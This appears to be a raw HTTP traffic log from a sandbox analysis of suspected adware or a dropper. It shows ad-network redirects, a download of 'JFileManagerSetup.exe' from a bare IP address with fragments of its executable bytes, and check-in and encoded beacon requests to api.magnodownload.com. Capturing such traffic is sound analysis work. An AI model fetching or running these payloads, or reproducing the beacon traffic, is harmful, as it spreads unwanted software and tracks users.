ion: hXXp://cm.g.doubleclick.net/pixel?google_nid=alibaba_dmp&google_c
m&loop=1..Date: Sat, 13 Jun 2015 00:33:32 GMT..Content-Length: 104..Co
ntent-Type: text/html; charset=utf-8..<a href="hXXp://cm.g.doublecl
ick.net/pixel?google_nid=alibaba_dmp&google_cm&loop=1">Foun
d</a>.......


GET /landing.gif?google_gid=CAESEDFEM-6j34BXp9sspL63B48&google_cver=1&loop=1 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Cookie: ali_apache_id=193.138.244.231.1434155608293.716224.2; xman_us_f=x_l=0; xman_t=EmHlsOvc3ylN F4r JkXlE0VjW8eWN8PtDPEpnpDmEtSFMbCkJTb6v7oNe9Bv1LV; acs_usuc_t=acs_rt=065e622978cb4604801167fab6004ed7; acs_t=PrO2qDo0fkn5bovjQNA5fDwb/rJYAdMFQxa5xJTatrLwlZr5Awv2gsWiv0a0l1tg; xman_f=b4hTZFNrgKoy5zRK56QTW65Z7NqkNbkYp4 c4o81HsFIr sNRq5vqACP7gT4tAa7Lzb9gq1vqkWVz2UB WbU01M3tU5bZUXls59Ibyc4uu0nd99LbrkZpw==; uns_unc_f=trfc_i=saf^vutlr5u3^m1jqhq39^19nl5bq76; _ga=GA1.2.1214118344.1434155619; _gat=1; ali_beacon_id=193.138.244.231.143415561055.341443.0; cna=WWgCDjWxzjYCAcGK9OdXbmWQ; ali_apache_track=""; ali_apache_tracktmp=""; l=AnJyq25PX0NB0xqxbLsbbjpagrRUA3ad

Connection: Keep-Alive

Host: cmap.alibaba.com

HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=3600

Content-Length: 49

Content-Type: image/gif

Expires: Sat, 13 Jun 2015 01:33:32 UTC

Last-Modified: Fri, 06 Mar 2015 09:11:41 GMT

Date: Sat, 13 Jun 2015 00:33:32 GMT
GIF89a...................!.......,...........T..;HTTP/1.1 200 OK..Acce
pt-Ranges: bytes..Cache-Control: max-age=3600..Content-Length: 49..Con
tent-Type: image/gif..Expires: Sat, 13 Jun 2015 01:33:32 UTC..Last-Mod
ified: Fri, 06 Mar 2015 09:11:41 GMT..Date: Sat, 13 Jun 2015 00:33:32 
GMT..GIF89a...................!.......,...........T..;..

GET /tps/i2/TB1QtIrFVXXXXbHXFXXIVqAQXXX-1400-160.png HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: img.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 43988

Last-Modified: Fri, 15 Aug 2014 07:58:54 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

SERVED-FROM: 81.52.170.69

Timing-Allow-Origin: *

Cache-Control: max-age=296475865

Expires: Sun, 03 Nov 2024 10:57:54 GMT

Date: Sat, 13 Jun 2015 00:33:29 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323
.PNG........IHDR...x.........9<......tEXtSoftware.Adobe ImageReadyq
.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0M
pCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmp
tk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        ">
; <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"&
gt; <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/
xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRe
f#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID=
"xmp.did:6AF5F36560E1E3119071C82A8D479882" xmpMM:DocumentID="xmp.did:F
3AD4A80245111E49140D07A52E4B5BE" xmpMM:InstanceID="xmp.iid:F3AD4A7F245
111E49140D07A52E4B5BE" xmp:CreatorTool="Adobe Photoshop CS5 Windows"&g
t; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:948E8F5A5024E411BC8
39BB25A649170" stRef:documentID="xmp.did:6AF5F36560E1E3119071C82A8D479
882"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
 <?xpacket end="r"?>..-.....IDATx....|..}.{.`....N..DJ..X.%;.#/.
.'...I..nZ....n.......7....}7q....ub.y.s.Z..(M,.q.E..k!%[email protected].....
@.X......X....Y..........................4............ ...............
. 4............b................B............ ................Jh......
.[.m-...L..a..V#u9R.b..<b.(<%......?/z.">.m....d..o4B .......
B.7a....^."...Vt..f..3....V....2.B.......-s.g.........,..8.#q.{.uA....
[email protected].. vB.#..?....(@[email protected]|......). ~f.uR..
4..@#...............6..^.S...U.................[......lXp..WWe h..
<<< skipped >>>

GET /tps/i3/TB1_jCQHpXXXXXDXXXXoNAWQpXX-300-251.jpg HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: img.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 10992

Last-Modified: Thu, 19 Mar 2015 09:19:49 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

SERVED-FROM: 92.123.78.44

Timing-Allow-Origin: *

Cache-Control: max-age=308044267

Expires: Mon, 17 Mar 2025 08:24:36 GMT

Date: Sat, 13 Jun 2015 00:33:29 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323
......JFIF.....H.H.....C.....................................!........
'.."#%%%..),($ !$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$........,.."........................................
.D..........................!.1A."Qaq..2B..#R....3b.$r..C.4D...ST.....
.............................)........................!1A."2Q..a..#3C.
[email protected]@joi.x..&. c.K...#|.M.....p.C..._..........
)...Z..&.7..r..l..y.....}.bg.~].{.7.F....)=.s<.....z{.o.Ql.....U.g.
....N........_..$...U.........<..t.......V.....;.x....V.4..uL......
i.k.B7....G..H{C.#.^.. b-....^.qSK...`*[email protected]@...DD....D@
...DD.......\.....i.9.=u.s\.......T..=>.G.....q.9=.............;]o.
..d..../..OO. ...0j..eD..e...j..$S5......=..Ga...G.T.&....D._.........
...\.e..T.O.o..:G..../-.... .&.Oy..........X..|....js(.....o......X...
..'.[...ch.,u...V.^|.:[email protected]@[email protected]?.8....eF6..z.
[email protected]....'MAN..W.O....Z'[email protected].... s?..4...&
lt;x......N.Ov.....o...?. g..!.p.....1l>z......Qs@....].G.G...1....
..D..j.];..Vc\.s`....EU....[).f.~.Y...Un.WA.m34......T.........lo..x..
.J..(.}%[...K.J[.d?..X..J...'.J...;.....;.... .....c.UFK.......r..T.].
.b...K...j..}|..8j..]8Sq..T.;...U....?/....*..5d.j`...F..M.V...H....5&
\..qW..9.....).x..6X.6..j.;.7.oU.]..nd>?.<.P.Y]6=....n.M=t?.?..]
s..n..2.&=.Jd..m.;9...GB..p.X.X.n.m...UV.M..a..2..].......".......|...
.h.r.....Q.I#8DEA...." ...""...." ...""....._.......*z.....x....D.9.h.
..6&...kF.....x.......v.,2....6=..%u./Ri.$sM...}J...h...f...8y{...
<<< skipped >>>

GET /tps/i3/TB1ciU8HXXXXXahaXXXoNAWQpXX-300-251.jpg HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: img.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 13988

Last-Modified: Thu, 19 Mar 2015 09:19:49 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

SERVED-FROM: 80.239.222.164

Timing-Allow-Origin: *

Cache-Control: max-age=308044290

Expires: Mon, 17 Mar 2025 08:24:59 GMT

Date: Sat, 13 Jun 2015 00:33:29 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323
......JFIF.....H.H.....C.....................................!........
'.."#%%%..),($ !$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$........,.."........................................
.G........................!..1A."Qa2q..#B...3R.....$br.4C....Sc]s...
.................................1........................!1A..Q"aq.2.
....#B..R..............?...*.J..ZZ.( .^..Z..KGB...>#.....s..0..B...
...tKb....F...'Q.H.........?/R 5vA..a.....F...l.t6...b......*s.OA..(".
.~.....Y..rs.a..z.U.!<....2=....x.C....b}..Q.f......jH.^...@.......
.=3...(;..?..h..B...A.It...=~~.._!.........OJ...w.5..|.@._.....oRP....
&....G.F.|[email protected]...{..}G.....sx..3.c..CR!H
..^n... ....p...M.JQ.u.1.F.....O.Y....n.../jl.....`..?Q..R..0...KD-U..
....RyE:b4.LRd{...r..PjZ.....AIjU&.K .....l.I.).4..P...J!..........7..
..U.&....P*Y..1A<...:R.^...B...om!..H.Lc..G.t.....l._5".]!..R..;.U.
).`.?......syE8......i..*[email protected]....~.....A..?.sN...f.=3.......\.
[email protected]:...B..UNd
.9..LR.^].C..Q.S...N...$..S$gq.). .t.Mf.O.J..D.../..v.. m.v....Z..X|X.
.............%....$... .T..}Y.|.xr..{z.j.....6.N...=N;{..W>X...c.[.
'.-2........=5.~<.EmR.0..eu.......xg...T.._)...=...jr.G...".DF.=E#.
.N.(....~J......*vd.8..S.........j*q..B..)......M'...X(h.*....e.&.Zn..
.4.~.._m..#...q.1.(...a&..1.,.om.....,>....k....p2.p....5".^Y.fw...
X..Q....,[email protected].. ....I(Wq.,.R.i..u&..A...D...E.oJyW...n...'...M..0h.
.s.G..Jt/..f....u..4.1eNd..d.R....<$.A..cz_.v.l......)..={n.z17
<<< skipped >>>

GET /tps/i1/TB1YUr7HpXXXXXTaXXXoNAWQpXX-300-251.jpg HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: img.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 31751

Last-Modified: Tue, 31 Mar 2015 02:32:49 GMT

Access-Control-Allow-Origin: *

Cache-Control: max-age=308974022

Expires: Fri, 28 Mar 2025 02:40:31 GMT

Date: Sat, 13 Jun 2015 00:33:29 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323

SERVED-FROM: 80.239.222.166
......JFIF.....,.,.....C..............................................
......................C...............................................
..........................,...........................................
..C...........................!.1."AQa.q..2.#B....R...$3..%4...Sbr....
..............................7........................".!12.AB.#QRaq.
.3....$b.4.r..............?..m..kJ..s`.1r=!....E..;.s..&}>..6....q8
.~"...<...b....H...O..|[email protected]..!.z\........HF.9..M:...00...M..IC
...O...P....G..pi.p.W.h.;.-......"..e.@.[...).........o!(.O7......5[.9
.-Jq...ap.#.&...FR...{....^[email protected].#..IZZ...........k
.........b..b.]..>.YZ.gi.`2......k...f-......(7".[....8..<..6W{.
=1..Z.$.c...[#.$xc...c..l..;...\..Lq..Z...n=p3...|.e...e-.v....YT.r..s
...{.j.V.......(!.Y4N.. [email protected]'.I.......~...&.P8.%O.3.
.............I..Si=.].......bI..../.1.o.....q.8... .'.~qM.*...kmD...l.
U..".....r.....]C.lGA...<.R........eHm.#.I....o.....:*Pn.F.<v'..
!.I...).Y..1.h] ..............,.&..H...a.}..N..:H..~........sZ.b.:..V.
...E.....HeU.~.Z.Pb..Jp{....AuU.8...I.R\5)D.p.{.~N.#b.B.....IyD6lB}1.d
..&..zJ).[.r0.q.v..........,H.W")V.I..S.$.KR..<..1-.;O7.Rq;I]......
.RR.o.. (.....]9...n.R....Q.i..MB...I.._..~...w..B.gJ5.$....F;.a.r.R:]
.m...!?$... [email protected]~}}1\X.X..z'...>$5).........[5  ....$2.
.w..qR.H-T....b8"[email protected]._lI..>l.M...yl.'..l~....gN........Kl.V.
z}.;... &..^..V..e'w.......N9...C.2.<....3...J0W......ZIW _.....'.~
...NS...v?.8..}%.b.?..>..c.9....8...6..[#...}.. ...JT[.x....{..
<<< skipped >>>

GET /tps/i1/TB1QrZ5HXXXXXbmapXXoNAWQpXX-300-251.jpg HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: img.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 18841

Last-Modified: Thu, 19 Mar 2015 09:19:50 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

SERVED-FROM: 92.123.78.48

Cache-Control: max-age=308044308

Expires: Mon, 17 Mar 2025 08:25:18 GMT

Date: Sat, 13 Jun 2015 00:33:30 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323
......JFIF.....H.H.....C.....................................!........
'.."#%%%..),($ !$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$........,.."........................................
.I...........................!1."AQa..2q.#Bb...R...$...................................1.......................!1..A"Qa.2.
q..3B.....#..............?..4.(.)J.JR.R....(.)J.JR.R....(.)J.B.......t
[email protected]............*..CLr.... ..(
....N.oJ..C)...?-..SHt.......t.3..........P..>.3...DV..[N.N..E...j.
".V>!\...| .N.v..i~;...}.....yTc6."\.'<.7.VVS......C....=|.....^
..N........Y.rY{...}[email protected]. s....h.c.W[.}.....w. r
.I......N..%.Q..q_zc..DPTK.\.iI......1VS........2....T.,.DK.F]........
.q#.^...I]C... ..l..J.i.<..B....|..]..3.R......)@)JP.R......)@)JP.R
......)@)JP.R....©'..M......x..t.T..rc...T..|......n..9....G.....o..
!#.....~...F..........l.-.f.).m[Q\ZH.....^C..........V.:{vKh[...q.....
....du'.m.......6..\i71...>.p~.......=k...k.-w^.A.C.m`s....>....
]............l...r].R.wg.Q.ni.HI.Dh...N|.@..<..:.6......s..c.....:.
..l.~.j.... ....B.........#.....V..Gm...q...7d...W/./....J....#....6{y
1.m.3...g.....j...d"....t...%( .......g.0kz..iZ.<.1...n.....}..;...
8.OJ.8Ei...@[..l..OZ.sR.A(..D.h....:w..mT....-V.5...oy..c......7.B.?.z
k.NB..cTR....(.)J.JR.R....(.)J.JR.R....(.)J._)Z...........I..Dh.......
....v>.,...0Y.6z...].N ......(R..|.9...o....1....?q.....u'......{..
%.Qfn....'>........Xv.|.Nm.G.k..T./6....mqhO.L..7.0.$....u....9
<<< skipped >>>

GET /css/6v/run/common/drag-paste/drag-paste.css?t=db4d3b36_0 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: style.aliunicorn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: text/css

Content-Length: 506

Last-Modified: Mon, 02 Feb 2015 10:28:49 GMT

Content-Encoding: gzip

Cache-Control: max-age=20253401

Expires: Tue, 02 Feb 2016 10:30:15 GMT

Date: Sat, 13 Jun 2015 00:33:34 GMT

Connection: keep-alive

Vary: Accept-Encoding

Timing-Allow-Origin: *
...........TQ..0.. ..I7iA..n....Ln...m.%....}[email protected].>.....S.
 g.|@V._7f.. ...JJ..5^.e4...r.090.%.|.J....=g;L.*...z.....9...-.?&.C..
.b.t.G....n..H.\Gy}.h..B....Bs}.`,[email protected]~J.Ty...^.Z.I.b.;...O...
. T...V"...X.R.k........[s..yN.d..0.7..<...x...M....(j.-`./..P..*..
E.J..G....(........rq.U.WA.?..(..)....h. .:.6A.l2.....|.f..]....8`M]O:
PIQ.t........O........?N*p..dX.R...>...3.<. 2...E..5.|-).~.f...c
.........[.,.U.]\F...&Ds.!x.=...#...O...}"k.g.*.Q....?5.....j.J..l$..-
.......h..<..<......6;M.....HTTP/1.1 200 OK..Server: Tengine..Co
ntent-Type: text/css..Content-Length: 506..Last-Modified: Mon, 02 Feb 
2015 10:28:49 GMT..Content-Encoding: gzip..Cache-Control: max-age=2025
3401..Expires: Tue, 02 Feb 2016 10:30:15 GMT..Date: Sat, 13 Jun 2015 0
0:33:34 GMT..Connection: keep-alive..Vary: Accept-Encoding..Timing-All
ow-Origin: *.............TQ..0.. ..I7iA..n....Ln...m.%....}n....c...=@
.8.>.....S. g.|@V._7f.. ...JJ..5^.e4...r.090.%.|.J....=g;L.*...z...
..9...-.?&.C...b.t.G....n..H.\Gy}.h..B....Bs}.`,[email protected]~J.Ty...^.
Z.I.b.;...O.... T...V"...X.R.k........[s..yN.d..0.7..<...x...M....(
j.-`./..P..*..E.J..G....(........rq.U.WA.?..(..)....h. .:.6A.l2.....|.
f..]....8`M]O:PIQ.t........O........?N*p..dX.R...>...3.<. 2...E.
.5.|-).~.f...c.........[.,.U.]\F...&Ds.!x.=...#...O...}"k.g.*.Q....?5.
....j.J..l$..-.......h..<..<......6;M.........
<<< skipped >>>

GET /simg/sprites/env/webatm-new/contacts-icons.png?t=762e3bac_0 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: style.aliunicorn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 5943

Last-Modified: Thu, 30 Apr 2015 11:11:54 GMT

ETag: 762e3bac_0

Timing-Allow-Origin: *

Cache-Control: max-age=28063698

Expires: Mon, 02 May 2016 20:01:52 GMT

Date: Sat, 13 Jun 2015 00:33:34 GMT

Connection: keep-alive

Timing-Allow-Origin: *
.PNG........IHDR..............t.`....tEXtSoftware.Adobe ImageReadyq.e&
lt;...fiTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:A31709C8CAA2E4118E68A101057BAC00" xmpMM:DocumentID="xmp.did:0C00
D1F0BC0B11E4A9C39E44F3EF610C" xmpMM:InstanceID="xmp.iid:0C00D1EFBC0B11
E4A9C39E44F3EF610C" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)">
; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F77F117407206811822A
F53B6DA261FD" stRef:documentID="xmp.did:A31709C8CAA2E4118E68A101057BAC
00"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> 
<?xpacket end="r"?>. Q....gIDATx......u].......A.....A!P8..DKA..
o..WD.E$..[...,x!0...`H..[..%.=..@..."B........>?.....s......u...s.
.=......y.c..pu........d...]..f../..a.||...n...b. .....'.^O.<?sx...
.....!.e...P.ke.~ ....=...9:sG......e>.H~n).4...Gb......G.g{.a ... 
.....~7?....2;e^..6.8.$.t,i.q...y.....I.G.o{...#3..l.9 .|...e......$..
X.V.Xm{...|..[m{.q........3.d.5.8.9.M..7sU..o...u-k Vm...Q..V.....h!..
ev.."...>I9...=_..9.....X.=.....(.V....@...'...=.>.[..@.".....c.
.........=......2W..d......2.Z.Y{p{$...G...h!..d....do.Ufy.1.G..y.
<<< skipped >>>

GET /8c/JFileManagerSetup.exe HTTP/1.1

Accept: */*

Proxy-Authorization: Basic 

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36

Host: 146.185.26.220

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Sat, 13 Jun 2015 00:33:24 GMT

Content-Type: application/octet-stream

Content-Length: 2229214

Last-Modified: Thu, 15 Jan 2015 17:44:21 GMT

Connection: keep-alive

ETag: "54b7fc75-2203de"

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......................................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc................v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>

GET / HTTP/1.1

Accept: */*

Proxy-Authorization: Basic 

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36

Host: api.magnodownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: text/html

Date: Sat, 13 Jun 2015 00:33:13 GMT

ETag: "5452135d-38"

Last-Modified: Thu, 30 Oct 2014 10:30:53 GMT

Server: nginx

Content-Length: 56

Connection: keep-alive
<html><head><title>ok</title></head><
body></body></html>HTTP/1.1 200 OK..Accept-Ranges: byte
s..Content-Type: text/html..Date: Sat, 13 Jun 2015 00:33:13 GMT..ETag:
 "5452135d-38"..Last-Modified: Thu, 30 Oct 2014 10:30:53 GMT..Server: 
nginx..Content-Length: 56..Connection: keep-alive..<html><hea
d><title>ok</title></head><body></body&g
t;</html>....


GET /?ctrak3.2.587=c_Start_Application HTTP/1.1

User-Agent: session

Host: api.magnodownload.com

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: text/html

Date: Sat, 13 Jun 2015 00:33:18 GMT

ETag: "54521359-38"

Last-Modified: Thu, 30 Oct 2014 10:30:49 GMT

Server: nginx

Content-Length: 56

Connection: keep-alive
<html><head><title>ok</title></head><
body></body></html>HTTP/1.1 200 OK..Accept-Ranges: byte
s..Content-Type: text/html..Date: Sat, 13 Jun 2015 00:33:18 GMT..ETag:
 "54521359-38"..Last-Modified: Thu, 30 Oct 2014 10:30:49 GMT..Server: 
nginx..Content-Length: 56..Connection: keep-alive..<html><hea
d><title>ok</title></head><body></body&g
t;</html>....


GET /fd862eba9a8eff3775636859f9766f82c6a7232124f727e93497715d0390105b0b8886781535ed62a8d0fcf75290092ff752ed904486fe229632d57ce23620a8e80d093e255c14cd84528e8074a4b2ebaa2f43f9c68ccac4f0a9932d7b8bc982ab6a23ab2c704e36 HTTP/1.1

Accept: */*

Proxy-Authorization: Basic 

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36

Host: api.magnodownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: text/html

Date: Sat, 13 Jun 2015 00:33:19 GMT

Server: nginx

transfer-encoding: chunked

Connection: keep-alive
224c..897d36dc986b9a50cbd1eee39dd9aa0fd1e25e56da9e7a6f0c0feea7a57e63b1
220027765be511a128ef7ac863aea520fc89a4174fd0ed9897cb3d5e52571b809ef9e0
a97649be6ebb591700985d395608da6f2c5c4d122390aa80f5b8da8d2710895f1e34e0
543db722a0ea4ee71d2d1a1de0394225cef0012b3e6a225fdef6c19aff3ac5895b5ec3
81b2d6d9ddcd023f549451513bec2fddb7e36043acd985e62db0f54736a74366d377a4
57204e404f6fb23de991b40fbc464a97a0ca3c7a0ec8e61a217157e47126454bdf6303
264d7c59a7aa091dc2fcb555b18a1c2ea8bf995bc85fd9647da934b2f131291143f4a3
18bf79215746b142da221600f691c539840e097dd13cd8302ae105228c3ab38bd04297
184ad19fb4f3375d08e8e192780fd5fd0baa9d183a42f4b977f9c4aff86ccc2f45d9a3
d642bba18050d081bad5f4eafc9b251986cd2897abd09ce0c560eea3475e77e701c2ba
367ee2f4ec330b4e97e14b5c77bc5233ce0985241929661bad9196733bc3fde73b1ea0
4ea46f2d9b190b90a1f757c53f0bf35983faab92919f40caa2b375e09edd356611fdb7
